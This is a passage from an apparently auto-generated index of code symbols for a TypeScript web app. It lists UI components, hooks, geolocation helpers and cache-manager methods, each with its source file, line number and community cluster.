- "norm_label": "storystep"
- },
- {
- "label": "STORY_DATA",
- "file_type": "code",
- "source_file": "app/sobre/components/StorySection.tsx",
- "source_location": "L9",
- "id": "components_storysection_story_data",
- "community": 1,
- "norm_label": "story_data"
- },
- {
- "label": "StorySection()",
- "file_type": "code",
- "source_file": "app/sobre/components/StorySection.tsx",
- "source_location": "L36",
- "id": "components_storysection_storysection",
- "community": 1,
- "norm_label": "storysection()"
- },
- {
- "label": "TargetAudienceSection.tsx",
- "file_type": "code",
- "source_file": "app/sobre/components/TargetAudienceSection.tsx",
- "source_location": "L1",
- "id": "app_sobre_components_targetaudiencesection_tsx",
- "community": 1,
- "norm_label": "targetaudiencesection.tsx"
- },
- {
- "label": "PERSONAS",
- "file_type": "code",
- "source_file": "app/sobre/components/TargetAudienceSection.tsx",
- "source_location": "L3",
- "id": "components_targetaudiencesection_personas",
- "community": 1,
- "norm_label": "personas"
- },
- {
- "label": "ValuesSection.tsx",
- "file_type": "code",
- "source_file": "app/sobre/components/ValuesSection.tsx",
- "source_location": "L1",
- "id": "app_sobre_components_valuessection_tsx",
- "community": 1,
- "norm_label": "valuessection.tsx"
- },
- {
- "label": "PROTOCOLS",
- "file_type": "code",
- "source_file": "app/sobre/components/ValuesSection.tsx",
- "source_location": "L3",
- "id": "components_valuessection_protocols",
- "community": 1,
- "norm_label": "protocols"
- },
- {
- "label": "OptimizedImage.tsx",
- "file_type": "code",
- "source_file": "components/OptimizedImage.tsx",
- "source_location": "L1",
- "id": "components_optimizedimage_tsx",
- "community": 0,
- "norm_label": "optimizedimage.tsx"
- },
- {
- "label": "theme-toggle.tsx",
- "file_type": "code",
- "source_file": "components/theme-toggle.tsx",
- "source_location": "L1",
- "id": "components_theme_toggle_tsx",
- "community": 10,
- "norm_label": "theme-toggle.tsx"
- },
- {
- "label": "accordion.tsx",
- "file_type": "code",
- "source_file": "components/ui/accordion.tsx",
- "source_location": "L1",
- "id": "components_ui_accordion_tsx",
- "community": 3,
- "norm_label": "accordion.tsx"
- },
- {
- "label": "AccordionItem",
- "file_type": "code",
- "source_file": "components/ui/accordion.tsx",
- "source_location": "L11",
- "id": "ui_accordion_accordionitem",
- "community": 3,
- "norm_label": "accordionitem"
- },
- {
- "label": "AccordionTrigger",
- "file_type": "code",
- "source_file": "components/ui/accordion.tsx",
- "source_location": "L23",
- "id": "ui_accordion_accordiontrigger",
- "community": 3,
- "norm_label": "accordiontrigger"
- },
- {
- "label": "AccordionContent",
- "file_type": "code",
- "source_file": "components/ui/accordion.tsx",
- "source_location": "L43",
- "id": "ui_accordion_accordioncontent",
- "community": 3,
- "norm_label": "accordioncontent"
- },
- {
- "label": "alert-dialog.tsx",
- "file_type": "code",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L1",
- "id": "components_ui_alert_dialog_tsx",
- "community": 2,
- "norm_label": "alert-dialog.tsx"
- },
- {
- "label": "AlertDialogOverlay",
- "file_type": "code",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L15",
- "id": "ui_alert_dialog_alertdialogoverlay",
- "community": 2,
- "norm_label": "alertdialogoverlay"
- },
- {
- "label": "AlertDialogContent",
- "file_type": "code",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L30",
- "id": "ui_alert_dialog_alertdialogcontent",
- "community": 2,
- "norm_label": "alertdialogcontent"
- },
- {
- "label": "AlertDialogHeader()",
- "file_type": "code",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L48",
- "id": "ui_alert_dialog_alertdialogheader",
- "community": 2,
- "norm_label": "alertdialogheader()"
- },
- {
- "label": "AlertDialogFooter()",
- "file_type": "code",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L62",
- "id": "ui_alert_dialog_alertdialogfooter",
- "community": 2,
- "norm_label": "alertdialogfooter()"
- },
- {
- "label": "AlertDialogTitle",
- "file_type": "code",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L76",
- "id": "ui_alert_dialog_alertdialogtitle",
- "community": 2,
- "norm_label": "alertdialogtitle"
- },
- {
- "label": "AlertDialogDescription",
- "file_type": "code",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L88",
- "id": "ui_alert_dialog_alertdialogdescription",
- "community": 2,
- "norm_label": "alertdialogdescription"
- },
- {
- "label": "AlertDialogAction",
- "file_type": "code",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L101",
- "id": "ui_alert_dialog_alertdialogaction",
- "community": 2,
- "norm_label": "alertdialogaction"
- },
- {
- "label": "AlertDialogCancel",
- "file_type": "code",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L113",
- "id": "ui_alert_dialog_alertdialogcancel",
- "community": 2,
- "norm_label": "alertdialogcancel"
- },
- {
- "label": "badge.tsx",
- "file_type": "code",
- "source_file": "components/ui/badge.tsx",
- "source_location": "L1",
- "id": "components_ui_badge_tsx",
- "community": 4,
- "norm_label": "badge.tsx"
- },
- {
- "label": "badgeVariants",
- "file_type": "code",
- "source_file": "components/ui/badge.tsx",
- "source_location": "L6",
- "id": "ui_badge_badgevariants",
- "community": 4,
- "norm_label": "badgevariants"
- },
- {
- "label": "BadgeProps",
- "file_type": "code",
- "source_file": "components/ui/badge.tsx",
- "source_location": "L26",
- "id": "ui_badge_badgeprops",
- "community": 4,
- "norm_label": "badgeprops"
- },
- {
- "label": "Badge()",
- "file_type": "code",
- "source_file": "components/ui/badge.tsx",
- "source_location": "L30",
- "id": "ui_badge_badge",
- "community": 4,
- "norm_label": "badge()"
- },
- {
- "label": "button.tsx",
- "file_type": "code",
- "source_file": "components/ui/button.tsx",
- "source_location": "L1",
- "id": "components_ui_button_tsx",
- "community": 2,
- "norm_label": "button.tsx"
- },
- {
- "label": "buttonVariants",
- "file_type": "code",
- "source_file": "components/ui/button.tsx",
- "source_location": "L7",
- "id": "ui_button_buttonvariants",
- "community": 2,
- "norm_label": "buttonvariants"
- },
- {
- "label": "ButtonProps",
- "file_type": "code",
- "source_file": "components/ui/button.tsx",
- "source_location": "L37",
- "id": "ui_button_buttonprops",
- "community": 2,
- "norm_label": "buttonprops"
- },
- {
- "label": "Button",
- "file_type": "code",
- "source_file": "components/ui/button.tsx",
- "source_location": "L43",
- "id": "ui_button_button",
- "community": 2,
- "norm_label": "button"
- },
- {
- "label": "card.tsx",
- "file_type": "code",
- "source_file": "components/ui/card.tsx",
- "source_location": "L1",
- "id": "components_ui_card_tsx",
- "community": 4,
- "norm_label": "card.tsx"
- },
- {
- "label": "Card",
- "file_type": "code",
- "source_file": "components/ui/card.tsx",
- "source_location": "L5",
- "id": "ui_card_card",
- "community": 4,
- "norm_label": "card"
- },
- {
- "label": "CardHeader",
- "file_type": "code",
- "source_file": "components/ui/card.tsx",
- "source_location": "L20",
- "id": "ui_card_cardheader",
- "community": 4,
- "norm_label": "cardheader"
- },
- {
- "label": "CardTitle",
- "file_type": "code",
- "source_file": "components/ui/card.tsx",
- "source_location": "L32",
- "id": "ui_card_cardtitle",
- "community": 4,
- "norm_label": "cardtitle"
- },
- {
- "label": "CardDescription",
- "file_type": "code",
- "source_file": "components/ui/card.tsx",
- "source_location": "L44",
- "id": "ui_card_carddescription",
- "community": 4,
- "norm_label": "carddescription"
- },
- {
- "label": "CardContent",
- "file_type": "code",
- "source_file": "components/ui/card.tsx",
- "source_location": "L56",
- "id": "ui_card_cardcontent",
- "community": 4,
- "norm_label": "cardcontent"
- },
- {
- "label": "CardFooter",
- "file_type": "code",
- "source_file": "components/ui/card.tsx",
- "source_location": "L64",
- "id": "ui_card_cardfooter",
- "community": 4,
- "norm_label": "cardfooter"
- },
- {
- "label": "Checkbox",
- "file_type": "code",
- "source_file": "components/ui/checkbox.tsx",
- "source_location": "L9",
- "id": "ui_checkbox_checkbox",
- "community": 0,
- "norm_label": "checkbox"
- },
- {
- "label": "dialog.tsx",
- "file_type": "code",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L1",
- "id": "components_ui_dialog_tsx",
- "community": 2,
- "norm_label": "dialog.tsx"
- },
- {
- "label": "DialogOverlay",
- "file_type": "code",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L17",
- "id": "ui_dialog_dialogoverlay",
- "community": 2,
- "norm_label": "dialogoverlay"
- },
- {
- "label": "DialogContent",
- "file_type": "code",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L32",
- "id": "ui_dialog_dialogcontent",
- "community": 2,
- "norm_label": "dialogcontent"
- },
- {
- "label": "DialogHeader()",
- "file_type": "code",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L56",
- "id": "ui_dialog_dialogheader",
- "community": 2,
- "norm_label": "dialogheader()"
- },
- {
- "label": "DialogFooter()",
- "file_type": "code",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L70",
- "id": "ui_dialog_dialogfooter",
- "community": 2,
- "norm_label": "dialogfooter()"
- },
- {
- "label": "DialogTitle",
- "file_type": "code",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L84",
- "id": "ui_dialog_dialogtitle",
- "community": 2,
- "norm_label": "dialogtitle"
- },
- {
- "label": "DialogDescription",
- "file_type": "code",
- "source_file": "components/ui/dialog.tsx",
- "source_location": "L99",
- "id": "ui_dialog_dialogdescription",
- "community": 2,
- "norm_label": "dialogdescription"
- },
- {
- "label": "dropdown-menu.tsx",
- "file_type": "code",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L1",
- "id": "components_ui_dropdown_menu_tsx",
- "community": 10,
- "norm_label": "dropdown-menu.tsx"
- },
- {
- "label": "DropdownMenuSubTrigger",
- "file_type": "code",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L21",
- "id": "ui_dropdown_menu_dropdownmenusubtrigger",
- "community": 10,
- "norm_label": "dropdownmenusubtrigger"
- },
- {
- "label": "DropdownMenuSubContent",
- "file_type": "code",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L43",
- "id": "ui_dropdown_menu_dropdownmenusubcontent",
- "community": 10,
- "norm_label": "dropdownmenusubcontent"
- },
- {
- "label": "DropdownMenuContent",
- "file_type": "code",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L59",
- "id": "ui_dropdown_menu_dropdownmenucontent",
- "community": 10,
- "norm_label": "dropdownmenucontent"
- },
- {
- "label": "DropdownMenuItem",
- "file_type": "code",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L77",
- "id": "ui_dropdown_menu_dropdownmenuitem",
- "community": 10,
- "norm_label": "dropdownmenuitem"
- },
- {
- "label": "DropdownMenuLabel",
- "file_type": "code",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L95",
- "id": "ui_dropdown_menu_dropdownmenulabel",
- "community": 10,
- "norm_label": "dropdownmenulabel"
- },
- {
- "label": "DropdownMenuSeparator",
- "file_type": "code",
- "source_file": "components/ui/dropdown-menu.tsx",
- "source_location": "L113",
- "id": "ui_dropdown_menu_dropdownmenuseparator",
- "community": 10,
- "norm_label": "dropdownmenuseparator"
- },
- {
- "label": "input.tsx",
- "file_type": "code",
- "source_file": "components/ui/input.tsx",
- "source_location": "L1",
- "id": "components_ui_input_tsx",
- "community": 2,
- "norm_label": "input.tsx"
- },
- {
- "label": "Input",
- "file_type": "code",
- "source_file": "components/ui/input.tsx",
- "source_location": "L5",
- "id": "ui_input_input",
- "community": 2,
- "norm_label": "input"
- },
- {
- "label": "label.tsx",
- "file_type": "code",
- "source_file": "components/ui/label.tsx",
- "source_location": "L1",
- "id": "components_ui_label_tsx",
- "community": 0,
- "norm_label": "label.tsx"
- },
- {
- "label": "labelVariants",
- "file_type": "code",
- "source_file": "components/ui/label.tsx",
- "source_location": "L9",
- "id": "ui_label_labelvariants",
- "community": 0,
- "norm_label": "labelvariants"
- },
- {
- "label": "Label",
- "file_type": "code",
- "source_file": "components/ui/label.tsx",
- "source_location": "L13",
- "id": "ui_label_label",
- "community": 0,
- "norm_label": "label"
- },
- {
- "label": "radio-group.tsx",
- "file_type": "code",
- "source_file": "components/ui/radio-group.tsx",
- "source_location": "L1",
- "id": "components_ui_radio_group_tsx",
- "community": 3,
- "norm_label": "radio-group.tsx"
- },
- {
- "label": "RadioGroup",
- "file_type": "code",
- "source_file": "components/ui/radio-group.tsx",
- "source_location": "L9",
- "id": "ui_radio_group_radiogroup",
- "community": 3,
- "norm_label": "radiogroup"
- },
- {
- "label": "select.tsx",
- "file_type": "code",
- "source_file": "components/ui/select.tsx",
- "source_location": "L1",
- "id": "components_ui_select_tsx",
- "community": 2,
- "norm_label": "select.tsx"
- },
- {
- "label": "SelectTrigger",
- "file_type": "code",
- "source_file": "components/ui/select.tsx",
- "source_location": "L15",
- "id": "ui_select_selecttrigger",
- "community": 2,
- "norm_label": "selecttrigger"
- },
- {
- "label": "SelectScrollUpButton",
- "file_type": "code",
- "source_file": "components/ui/select.tsx",
- "source_location": "L35",
- "id": "ui_select_selectscrollupbutton",
- "community": 2,
- "norm_label": "selectscrollupbutton"
- },
- {
- "label": "SelectScrollDownButton",
- "file_type": "code",
- "source_file": "components/ui/select.tsx",
- "source_location": "L52",
- "id": "ui_select_selectscrolldownbutton",
- "community": 2,
- "norm_label": "selectscrolldownbutton"
- },
- {
- "label": "SelectContent",
- "file_type": "code",
- "source_file": "components/ui/select.tsx",
- "source_location": "L70",
- "id": "ui_select_selectcontent",
- "community": 2,
- "norm_label": "selectcontent"
- },
- {
- "label": "SelectLabel",
- "file_type": "code",
- "source_file": "components/ui/select.tsx",
- "source_location": "L102",
- "id": "ui_select_selectlabel",
- "community": 2,
- "norm_label": "selectlabel"
- },
- {
- "label": "SelectItem",
- "file_type": "code",
- "source_file": "components/ui/select.tsx",
- "source_location": "L114",
- "id": "ui_select_selectitem",
- "community": 2,
- "norm_label": "selectitem"
- },
- {
- "label": "SelectSeparator",
- "file_type": "code",
- "source_file": "components/ui/select.tsx",
- "source_location": "L136",
- "id": "ui_select_selectseparator",
- "community": 2,
- "norm_label": "selectseparator"
- },
- {
- "label": "separator.tsx",
- "file_type": "code",
- "source_file": "components/ui/separator.tsx",
- "source_location": "L1",
- "id": "components_ui_separator_tsx",
- "community": 3,
- "norm_label": "separator.tsx"
- },
- {
- "label": "Separator",
- "file_type": "code",
- "source_file": "components/ui/separator.tsx",
- "source_location": "L8",
- "id": "ui_separator_separator",
- "community": 3,
- "norm_label": "separator"
- },
- {
- "label": "sheet.tsx",
- "file_type": "code",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L1",
- "id": "components_ui_sheet_tsx",
- "community": 1,
- "norm_label": "sheet.tsx"
- },
- {
- "label": "SheetOverlay",
- "file_type": "code",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L18",
- "id": "ui_sheet_sheetoverlay",
- "community": 1,
- "norm_label": "sheetoverlay"
- },
- {
- "label": "sheetVariants",
- "file_type": "code",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L33",
- "id": "ui_sheet_sheetvariants",
- "community": 1,
- "norm_label": "sheetvariants"
- },
- {
- "label": "SheetContentProps",
- "file_type": "code",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L52",
- "id": "ui_sheet_sheetcontentprops",
- "community": 1,
- "norm_label": "sheetcontentprops"
- },
- {
- "label": "SheetContent",
- "file_type": "code",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L56",
- "id": "ui_sheet_sheetcontent",
- "community": 1,
- "norm_label": "sheetcontent"
- },
- {
- "label": "SheetHeader()",
- "file_type": "code",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L77",
- "id": "ui_sheet_sheetheader",
- "community": 1,
- "norm_label": "sheetheader()"
- },
- {
- "label": "SheetFooter()",
- "file_type": "code",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L91",
- "id": "ui_sheet_sheetfooter",
- "community": 1,
- "norm_label": "sheetfooter()"
- },
- {
- "label": "SheetTitle",
- "file_type": "code",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L105",
- "id": "ui_sheet_sheettitle",
- "community": 1,
- "norm_label": "sheettitle"
- },
- {
- "label": "SheetDescription",
- "file_type": "code",
- "source_file": "components/ui/sheet.tsx",
- "source_location": "L117",
- "id": "ui_sheet_sheetdescription",
- "community": 1,
- "norm_label": "sheetdescription"
- },
- {
- "label": "Skeleton()",
- "file_type": "code",
- "source_file": "components/ui/skeleton.tsx",
- "source_location": "L3",
- "id": "ui_skeleton_skeleton",
- "community": 4,
- "norm_label": "skeleton()"
- },
- {
- "label": "slider.tsx",
- "file_type": "code",
- "source_file": "components/ui/slider.tsx",
- "source_location": "L1",
- "id": "components_ui_slider_tsx",
- "community": 3,
- "norm_label": "slider.tsx"
- },
- {
- "label": "Slider",
- "file_type": "code",
- "source_file": "components/ui/slider.tsx",
- "source_location": "L8",
- "id": "ui_slider_slider",
- "community": 3,
- "norm_label": "slider"
- },
- {
- "label": "switch.tsx",
- "file_type": "code",
- "source_file": "components/ui/switch.tsx",
- "source_location": "L1",
- "id": "components_ui_switch_tsx",
- "community": 0,
- "norm_label": "switch.tsx"
- },
- {
- "label": "Switch",
- "file_type": "code",
- "source_file": "components/ui/switch.tsx",
- "source_location": "L8",
- "id": "ui_switch_switch",
- "community": 0,
- "norm_label": "switch"
- },
- {
- "label": "extract.js",
- "file_type": "code",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L1",
- "id": "docs_resedesign_extract_js",
- "community": 11,
- "norm_label": "extract.js"
- },
- {
- "label": "fs",
- "file_type": "code",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L1",
- "id": "resedesign_extract_fs",
- "community": 11,
- "norm_label": "fs"
- },
- {
- "label": "path",
- "file_type": "code",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L2",
- "id": "resedesign_extract_path",
- "community": 11,
- "norm_label": "path"
- },
- {
- "label": "html",
- "file_type": "code",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L3",
- "id": "resedesign_extract_html",
- "community": 11,
- "norm_label": "html"
- },
- {
- "label": "start",
- "file_type": "code",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L6",
- "id": "resedesign_extract_start",
- "community": 11,
- "norm_label": "start"
- },
- {
- "label": "end",
- "file_type": "code",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L7",
- "id": "resedesign_extract_end",
- "community": 11,
- "norm_label": "end"
- },
- {
- "label": "raw",
- "file_type": "code",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L8",
- "id": "resedesign_extract_raw",
- "community": 11,
- "norm_label": "raw"
- },
- {
- "label": "decoded",
- "file_type": "code",
- "source_file": "docs/resedesign/extract.js",
- "source_location": "L11",
- "id": "resedesign_extract_decoded",
- "community": 11,
- "norm_label": "decoded"
- },
- {
- "label": "use-geolocation.ts",
- "file_type": "code",
- "source_file": "hooks/use-geolocation.ts",
- "source_location": "L1",
- "id": "hooks_use_geolocation_ts",
- "community": 9,
- "norm_label": "use-geolocation.ts"
- },
- {
- "label": "setScannedCountry()",
- "file_type": "code",
- "source_file": "hooks/use-geolocation.ts",
- "source_location": "L27",
- "id": "hooks_use_geolocation_setscannedcountry",
- "community": 9,
- "norm_label": "setscannedcountry()"
- },
- {
- "label": "use-search-logic.ts",
- "file_type": "code",
- "source_file": "hooks/use-search-logic.ts",
- "source_location": "L1",
- "id": "hooks_use_search_logic_ts",
- "community": 7,
- "norm_label": "use-search-logic.ts"
- },
- {
- "label": "SearchType",
- "file_type": "code",
- "source_file": "hooks/use-search-logic.ts",
- "source_location": "L7",
- "id": "hooks_use_search_logic_searchtype",
- "community": 7,
- "norm_label": "searchtype"
- },
- {
- "label": "useCacheOnlyMode.ts",
- "file_type": "code",
- "source_file": "hooks/useCacheOnlyMode.ts",
- "source_location": "L1",
- "id": "hooks_usecacheonlymode_ts",
- "community": 3,
- "norm_label": "usecacheonlymode.ts"
- },
- {
- "label": "useProductFilters.ts",
- "file_type": "code",
- "source_file": "hooks/useProductFilters.ts",
- "source_location": "L1",
- "id": "hooks_useproductfilters_ts",
- "community": 3,
- "norm_label": "useproductfilters.ts"
- },
- {
- "label": "UseProductFiltersOptions",
- "file_type": "code",
- "source_file": "hooks/useProductFilters.ts",
- "source_location": "L7",
- "id": "hooks_useproductfilters_useproductfiltersoptions",
- "community": 3,
- "norm_label": "useproductfiltersoptions"
- },
- {
- "label": "parseFiltersFromURL()",
- "file_type": "code",
- "source_file": "hooks/useProductFilters.ts",
- "source_location": "L167",
- "id": "hooks_useproductfilters_parsefiltersfromurl",
- "community": 3,
- "norm_label": "parsefiltersfromurl()"
- },
- {
- "label": "loadFiltersFromStorage()",
- "file_type": "code",
- "source_file": "hooks/useProductFilters.ts",
- "source_location": "L236",
- "id": "hooks_useproductfilters_loadfiltersfromstorage",
- "community": 3,
- "norm_label": "loadfiltersfromstorage()"
- },
- {
- "label": "saveFiltersToStorage()",
- "file_type": "code",
- "source_file": "hooks/useProductFilters.ts",
- "source_location": "L245",
- "id": "hooks_useproductfilters_savefilterstostorage",
- "community": 3,
- "norm_label": "savefilterstostorage()"
- },
- {
- "label": "useSearchCache.ts",
- "file_type": "code",
- "source_file": "hooks/useSearchCache.ts",
- "source_location": "L1",
- "id": "hooks_usesearchcache_ts",
- "community": 5,
- "norm_label": "usesearchcache.ts"
- },
- {
- "label": "SearchCacheState",
- "file_type": "code",
- "source_file": "hooks/useSearchCache.ts",
- "source_location": "L7",
- "id": "hooks_usesearchcache_searchcachestate",
- "community": 5,
- "norm_label": "searchcachestate"
- },
- {
- "label": "UseSearchCacheReturn",
- "file_type": "code",
- "source_file": "hooks/useSearchCache.ts",
- "source_location": "L20",
- "id": "hooks_usesearchcache_usesearchcachereturn",
- "community": 5,
- "norm_label": "usesearchcachereturn"
- },
- {
- "label": "useStorageMonitor.ts",
- "file_type": "code",
- "source_file": "hooks/useStorageMonitor.ts",
- "source_location": "L1",
- "id": "hooks_usestoragemonitor_ts",
- "community": 3,
- "norm_label": "usestoragemonitor.ts"
- },
- {
- "label": "UseStorageMonitorReturn",
- "file_type": "code",
- "source_file": "hooks/useStorageMonitor.ts",
- "source_location": "L9",
- "id": "hooks_usestoragemonitor_usestoragemonitorreturn",
- "community": 3,
- "norm_label": "usestoragemonitorreturn"
- },
- {
- "label": "cacheManager.ts",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L1",
- "id": "lib_cachemanager_ts",
- "community": 5,
- "norm_label": "cachemanager.ts"
- },
- {
- "label": "FilterValue",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L9",
- "id": "lib_cachemanager_filtervalue",
- "community": 5,
- "norm_label": "filtervalue"
- },
- {
- "label": "FilterRecord",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L17",
- "id": "lib_cachemanager_filterrecord",
- "community": 5,
- "norm_label": "filterrecord"
- },
- {
- "label": "CachedSearch",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L19",
- "id": "lib_cachemanager_cachedsearch",
- "community": 5,
- "norm_label": "cachedsearch"
- },
- {
- "label": "CacheConfig",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L29",
- "id": "lib_cachemanager_cacheconfig",
- "community": 5,
- "norm_label": "cacheconfig"
- },
- {
- "label": "DEFAULT_CONFIG",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L35",
- "id": "lib_cachemanager_default_config",
- "community": 5,
- "norm_label": "default_config"
- },
- {
- "label": ".constructor()",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L46",
- "id": "lib_cachemanager_cachemanager_constructor",
- "community": 8,
- "norm_label": ".constructor()"
- },
- {
- "label": ".generateCacheKey()",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L53",
- "id": "lib_cachemanager_cachemanager_generatecachekey",
- "community": 5,
- "norm_label": ".generatecachekey()"
- },
- {
- "label": ".generateSearchId()",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L66",
- "id": "lib_cachemanager_cachemanager_generatesearchid",
- "community": 5,
- "norm_label": ".generatesearchid()"
- },
- {
- "label": ".getCacheIndex()",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L80",
- "id": "lib_cachemanager_cachemanager_getcacheindex",
- "community": 5,
- "norm_label": ".getcacheindex()"
- },
- {
- "label": ".updateCacheIndex()",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L92",
- "id": "lib_cachemanager_cachemanager_updatecacheindex",
- "community": 5,
- "norm_label": ".updatecacheindex()"
- },
- {
- "label": ".getObjectSize()",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L103",
- "id": "lib_cachemanager_cachemanager_getobjectsize",
- "community": 5,
- "norm_label": ".getobjectsize()"
- },
- {
- "label": ".cleanupOldCaches()",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L110",
- "id": "lib_cachemanager_cachemanager_cleanupoldcaches",
- "community": 5,
- "norm_label": ".cleanupoldcaches()"
- },
- {
- "label": ".saveSearch()",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L158",
- "id": "lib_cachemanager_cachemanager_savesearch",
- "community": 5,
- "norm_label": ".savesearch()"
- },
- {
- "label": ".getSearch()",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L210",
- "id": "lib_cachemanager_cachemanager_getsearch",
- "community": 5,
- "norm_label": ".getsearch()"
- },
- {
- "label": ".removeSearch()",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L238",
- "id": "lib_cachemanager_cachemanager_removesearch",
- "community": 5,
- "norm_label": ".removesearch()"
- },
- {
- "label": ".clearAllCaches()",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L261",
- "id": "lib_cachemanager_cachemanager_clearallcaches",
- "community": 5,
- "norm_label": ".clearallcaches()"
- },
- {
- "label": ".getCacheStats()",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L274",
- "id": "lib_cachemanager_cachemanager_getcachestats",
- "community": 5,
- "norm_label": ".getcachestats()"
- },
- {
- "label": ".hasSpaceForData()",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L324",
- "id": "lib_cachemanager_cachemanager_hasspacefordata",
- "community": 5,
- "norm_label": ".hasspacefordata()"
- },
- {
- "label": "useCacheManager()",
- "file_type": "code",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L338",
- "id": "lib_cachemanager_usecachemanager",
- "community": 5,
- "norm_label": "usecachemanager()"
- },
- {
- "label": "geolocation.ts",
- "file_type": "code",
- "source_file": "lib/geolocation.ts",
- "source_location": "L1",
- "id": "lib_geolocation_ts",
- "community": 9,
- "norm_label": "geolocation.ts"
- },
- {
- "label": "CountryInfo",
- "file_type": "code",
- "source_file": "lib/geolocation.ts",
- "source_location": "L6",
- "id": "lib_geolocation_countryinfo",
- "community": 9,
- "norm_label": "countryinfo"
- },
- {
- "label": "isCacheValid()",
- "file_type": "code",
- "source_file": "lib/geolocation.ts",
- "source_location": "L18",
- "id": "lib_geolocation_iscachevalid",
- "community": 9,
- "norm_label": "iscachevalid()"
- },
- {
- "label": "getCachedCountry()",
- "file_type": "code",
- "source_file": "lib/geolocation.ts",
- "source_location": "L35",
- "id": "lib_geolocation_getcachedcountry",
- "community": 9,
- "norm_label": "getcachedcountry()"
- },
- {
- "label": "saveToCache()",
- "file_type": "code",
- "source_file": "lib/geolocation.ts",
- "source_location": "L52",
- "id": "lib_geolocation_savetocache",
- "community": 9,
- "norm_label": "savetocache()"
- },
- {
- "label": "detectUserCountry()",
- "file_type": "code",
- "source_file": "lib/geolocation.ts",
- "source_location": "L74",
- "id": "lib_geolocation_detectusercountry",
- "community": 9,
- "norm_label": "detectusercountry()"
- },
- {
- "label": "clearCountryCache()",
- "file_type": "code",
- "source_file": "lib/geolocation.ts",
- "source_location": "L115",
- "id": "lib_geolocation_clearcountrycache",
- "community": 9,
- "norm_label": "clearcountrycache()"
- },
- {
- "label": "getCurrentCountry()",
- "file_type": "code",
- "source_file": "lib/geolocation.ts",
- "source_location": "L124",
- "id": "lib_geolocation_getcurrentcountry",
- "community": 9,
- "norm_label": "getcurrentcountry()"
- },
- {
- "label": "isBrazil()",
- "file_type": "code",
- "source_file": "lib/geolocation.ts",
- "source_location": "L134",
- "id": "lib_geolocation_isbrazil",
- "community": 9,
- "norm_label": "isbrazil()"
- },
- {
- "label": "getCountryCodeForAPI()",
- "file_type": "code",
- "source_file": "lib/geolocation.ts",
- "source_location": "L142",
- "id": "lib_geolocation_getcountrycodeforapi",
- "community": 9,
- "norm_label": "getcountrycodeforapi()"
- },
- {
- "label": "jsonCacheManager.ts",
- "file_type": "code",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L1",
- "id": "lib_jsoncachemanager_ts",
- "community": 6,
- "norm_label": "jsoncachemanager.ts"
- },
- {
- "label": "JsonCacheData",
- "file_type": "code",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L12",
- "id": "lib_jsoncachemanager_jsoncachedata",
- "community": 6,
- "norm_label": "jsoncachedata"
- },
- {
- "label": ".getInstance()",
- "file_type": "code",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L46",
- "id": "lib_jsoncachemanager_jsoncachemanager_getinstance",
- "community": 6,
- "norm_label": ".getinstance()"
- },
- {
- "label": ".loadCache()",
- "file_type": "code",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L56",
- "id": "lib_jsoncachemanager_jsoncachemanager_loadcache",
- "community": 6,
